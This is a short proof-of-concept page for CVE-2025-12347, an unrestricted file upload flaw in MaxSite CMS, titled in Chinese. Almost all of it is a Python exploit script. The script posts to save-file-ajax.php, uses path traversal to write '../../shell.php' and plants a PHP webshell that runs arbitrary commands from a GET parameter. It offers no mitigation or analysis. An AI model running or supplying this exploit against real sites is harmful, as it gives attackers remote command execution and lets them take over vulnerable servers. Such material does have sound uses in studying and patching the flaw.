CVE-2025-12347 MaxSite CMS save-file-ajax.php无限制文件上传漏洞

import requests import sys # CVE-2025-12347 MaxSite CMS Unrestricted File Upload PoC # Target: MaxSite CMS <= 109 # Endpoint: /application/maxsite/admin/plugins/editor_files/save-file-ajax.php def exploit(target_url, file_path, webshell_content): """ Exploit for CVE-2025-12347 Uploads arbitrary files via save-file-ajax.php Args: target_url: Base URL of the vulnerable MaxSite CMS installation file_path: Path where the file should be saved (e.g., '../../webshell.php') webshell_content: Content to write to the file """ endpoint = f"{target_url}/application/maxsite/admin/plugins/editor_files/save-file-ajax.php" # Prepare malicious payload files = { 'file_path': (None, file_path), 'content': (None, webshell_content) } try: response = requests.post(endpoint, files=files, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200 and 'success' in response.text.lower(): print("[+] File uploaded successfully!") return True else: print("[-] Upload failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/mycms") sys.exit(1) target = sys.argv[1].rstrip('/') # PHP webshell webshell = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' # Path traversal to write to web root file_path = '../../shell.php' print("[*] CVE-2025-12347 MaxSite CMS File Upload Exploit") print(f"[*] Target: {target}") exploit(target, file_path, webshell)